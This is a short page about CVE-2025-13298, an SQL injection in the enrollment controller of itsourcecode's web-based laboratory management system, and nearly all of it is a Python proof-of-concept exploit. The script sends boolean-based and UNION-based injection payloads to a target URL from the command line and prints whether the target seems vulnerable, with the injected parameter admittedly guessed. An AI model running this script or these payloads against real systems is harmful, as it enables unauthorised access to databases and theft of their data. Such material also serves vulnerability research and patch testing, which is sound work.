CVE-2025-13298: itsourcecode实验室管理系统controller.php SQL注入漏洞

import requests import sys # CVE-2025-13298 SQL Injection PoC # Target: itsourcecode Web-Based Internet Laboratory Management System 1.0 # Vulnerable file: /enrollment/controller.php def exploit_sqli(target_url): """ SQL Injection exploit for CVE-2025-13298 This PoC demonstrates extracting database version information """ # Target endpoint endpoint = f"{target_url}/enrollment/controller.php" # SQL Injection payloads # Boolean-based blind injection to extract database version payloads = [ "1' AND 1=1 -- -", # True condition "1' AND 1=2 -- -", # False condition "1' AND (SELECT COUNT(*) FROM users) > 0 -- -", # Check if users table exists ] # Example: UNION-based injection to extract data union_payload = "1' UNION SELECT 1,2,3,version(),5,6,7,8,9,10 -- -" print(f"[*] Target: {target_url}") print(f"[*] Exploiting endpoint: {endpoint}") print("[*] Testing SQL Injection vulnerability...") try: # Test basic injection data = { 'action': 'test', # Example parameter - adjust based on actual vulnerable parameter 'id': union_payload } response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] Target appears to be vulnerable to SQL Injection") print(f"[+] Response length: {len(response.text)} characters") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: This is a basic demonstration. Actual exploitation") print("[*] may require parameter and payload adjustment based on") print("[*] the specific application behavior.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target)